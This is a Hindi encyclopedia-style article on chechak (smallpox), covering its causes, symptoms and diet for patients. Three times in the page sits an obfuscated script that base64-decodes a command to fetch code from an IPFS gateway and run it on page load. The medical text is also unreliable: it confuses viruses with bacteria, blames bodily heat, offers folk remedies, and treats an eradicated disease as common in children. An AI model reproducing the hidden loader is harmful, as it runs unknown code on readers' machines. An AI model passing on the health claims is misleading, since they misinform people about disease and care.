चेचक

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें
The printable version is no longer supported and may have rendering errors. Please update your browser bookmarks and please use the default browser print function instead.

चेचक मानव में पाया जाने वाला एक प्रमुख रोग है। इस रोग से अधिकांशत: छोटे बच्चे ग्रसित होते हैं। यह रोग जब किसी व्यक्ति को होता है, तब इसे ठीक होने में 10 से 15 दिन लग जाते हैं। किंतु रोग के कारण चेहरे आदि पर जो दाग़ पड़ जाते हैं, उन्हें ठीक होने में लगभग पाँच या छ: महीने का समय लग जाता है। यह रोग अधिकतर बसन्त ऋतु या फिर ग्रीष्म काल में होता है। यदि इस रोग का उपचार जल्दी ही न किया जाए तो रोग से पीड़ित व्यक्ति की मृत्यु भी हो सकती है।

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

कारण

चेचक के रोग को घरेलू भाषा में 'माता' या 'शीतला' भी कहते हैं। यह रोग अक्सर उन बच्चों को होता है, जिनके शरीर में शुरू से ही गर्मी अधिक होती है तथा उनकी उम्र दो से चार वर्ष तक की होती है। कभी-कभी यह रोग औरतों और बड़ों में भी हो जाता है। इस रोग के फैलने का कारण वायरस (जीवाणु) हैं। इस रोग के जीवाणु थूक, मलमूत्र और नाखूनों आदि में पाये जाते हैं। सूक्ष्म छोटे-छोटे जीवाणु हवा में घुल जाते हैं और श्वसन के समय ये जीवाणु शरीर के अन्दर प्रवेश कर जाते हैं। इस रोग को आयुर्वेद में 'मसूरिका' के नाम से जाना जाता है।

रोग के लक्षण

इस रोग के हो जाने पर शरीर का तापमान बढ़ जाता है। बुखार 104 डिग्री फारेनहाइट तक हो जाता है। रोगी को बेचैनी होने लगती है। उसे बहुत ज़्यादा प्यास लगती है और पूरे शरीर में दर्द होने लगता है। हृदय की धड़कन तेज हो जाती है और साथ में जुकाम भी हो जाता है। दो-तीन दिन के बाद बुखार तेज होने लगता है। शरीर पर लाल रंग के दाने निकलने लगते हैं। दानों में पानी जैसा मवाद पैदा हो जाता है। सात दिनों में दाने पकने लगते हैं जो कि धीरे-धीरे सूख जाते हैं। दानों पर खुरण्ड (पपड़ी) सी जम जाती है। कुछ दिनों के बाद खुरण्ड तो निकल जाती है, लेकिन उसके दाग़ रह जाते हैं।

भोजन तथा परहेज

  1. छोटे बच्चों को चेचक होने पर दूध, मूंग की दाल, रोटी और हरी सब्जियाँ तथा मौसमी फल खिलाने चाहिए या उनका जूस पिलाना चाहिए।
  2. चेचक के रोग से ग्रस्त रोगी के घर वालों को खाना बनाते समय सब्जी आदि में छोंका नहीं लगाना चाहिए।
  3. रोगी को तली हुई चीजें, मिर्च-मसाले वाला भोजन और ज़्यादा ठंड़ी या ज़्यादा गर्म चीजें नहीं देनी चाहिए।
  4. अगर बुखार तेज हो तो दूध और चाय के अलावा रोगी को कुछ नहीं देना चाहिए।
  5. दरवाज़े पर नीम के पत्तों की टहनी लटका देनी चाहिए।


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

टीका टिप्पणी और संदर्भ

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>